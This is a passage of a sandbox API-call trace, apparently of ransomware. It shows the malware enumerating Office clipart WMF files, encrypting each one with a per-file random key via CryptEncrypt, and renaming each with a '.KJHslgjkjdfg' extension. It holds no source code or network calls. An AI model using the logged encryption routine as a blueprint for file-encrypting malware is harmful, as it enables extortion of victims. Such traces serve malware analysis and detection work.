[0206.241] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0206.241] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0206.241] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0206.241] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0206.241] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0206.241] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.241] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.241] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.241] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2b0e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2b0e, lpOverlapped=0x0) returned 1 [0206.242] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2b10, dwBufLen=0x2b10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2b10) returned 1 [0206.242] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.242] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2b10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2b10, lpOverlapped=0x0) returned 1 [0206.242] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.242] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2be4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.242] SetEndOfFile (hFile=0x130) returned 1 [0206.244] GetProcessHeap () returned 0x2ef0000 [0206.244] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0206.244] GetProcessHeap () returned 0x2ef0000 [0206.244] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0206.244] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301044.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301044.wmf.kjhslgjkjdfg")) returned 1 [0206.246] CloseHandle (hObject=0x130) returned 1 [0206.246] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ab7300, ftCreationTime.dwHighDateTime=0x1bf4a6c, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ab7300, ftLastWriteTime.dwHighDateTime=0x1bf4a6c, nFileSizeHigh=0x0, nFileSizeLow=0x2ae8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0301052.WMF", cAlternateFileName="")) returned 1 [0206.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301052.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.260] GetProcessHeap () returned 0x2ef0000 [0206.260] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0206.260] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0206.260] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0206.261] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0206.263] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.263] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.263] GetProcessHeap () returned 0x2ef0000 [0206.263] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0206.263] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0206.263] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.263] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0206.263] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0206.263] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0206.263] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0206.263] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0206.263] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0206.263] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.263] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.263] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.264] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2ae8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2ae8, lpOverlapped=0x0) returned 1 [0206.264] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2af0, dwBufLen=0x2af0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2af0) returned 1 [0206.265] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.265] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2af0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2af0, lpOverlapped=0x0) returned 1 [0206.265] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.265] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2bc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.265] SetEndOfFile (hFile=0x130) returned 1 [0206.267] GetProcessHeap () returned 0x2ef0000 [0206.267] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0206.267] GetProcessHeap () returned 0x2ef0000 [0206.267] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0206.267] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301052.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301052.wmf.kjhslgjkjdfg")) returned 1 [0206.269] CloseHandle (hObject=0x130) returned 1 [0206.269] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56726050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4a5a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0301418.WMF", cAlternateFileName="")) returned 1 [0206.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301418.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.271] GetProcessHeap () returned 0x2ef0000 [0206.271] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0206.271] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0206.271] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0206.271] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0206.273] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.273] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.273] GetProcessHeap () returned 0x2ef0000 [0206.273] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0206.273] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0206.273] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.273] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0206.273] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0206.273] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0206.273] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0206.273] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0206.273] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0206.274] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.274] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.274] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.274] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4a5a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4a5a, lpOverlapped=0x0) returned 1 [0206.275] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4a60, dwBufLen=0x4a60 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4a60) returned 1 [0206.275] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.275] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4a60, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4a60, lpOverlapped=0x0) returned 1 [0206.275] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.275] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4b34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.275] SetEndOfFile (hFile=0x130) returned 1 [0206.278] GetProcessHeap () returned 0x2ef0000 [0206.278] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0206.278] GetProcessHeap () returned 0x2ef0000 [0206.278] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0206.278] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301418.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301418.wmf.kjhslgjkjdfg")) returned 1 [0206.279] CloseHandle (hObject=0x130) returned 1 [0206.279] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4dfa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0301432.WMF", cAlternateFileName="")) returned 1 [0206.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.280] GetProcessHeap () returned 0x2ef0000 [0206.280] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0206.280] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0206.280] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0206.280] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0206.282] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.282] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.282] GetProcessHeap () returned 0x2ef0000 [0206.282] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0206.282] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0206.282] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.282] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0206.283] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0206.283] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0206.283] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0206.283] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0206.283] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0206.283] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.283] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.283] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.283] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4dfa, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4dfa, lpOverlapped=0x0) returned 1 [0206.284] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4e00, dwBufLen=0x4e00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4e00) returned 1 [0206.285] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.285] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4e00, lpOverlapped=0x0) returned 1 [0206.285] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.285] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.285] SetEndOfFile (hFile=0x130) returned 1 [0206.288] GetProcessHeap () returned 0x2ef0000 [0206.288] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0206.288] GetProcessHeap () returned 0x2ef0000 [0206.288] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0206.288] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301432.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301432.wmf.kjhslgjkjdfg")) returned 1 [0206.290] CloseHandle (hObject=0x130) returned 1 [0206.290] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56726050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0304371.WMF", cAlternateFileName="")) returned 1 [0206.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304371.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.291] GetProcessHeap () returned 0x2ef0000 [0206.291] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0206.291] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0206.291] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0206.291] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.291] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.291] GetProcessHeap () returned 0x2ef0000 [0206.291] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0206.291] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0206.292] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.292] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0206.294] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0206.294] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0206.294] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0206.294] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0206.294] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0206.294] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, 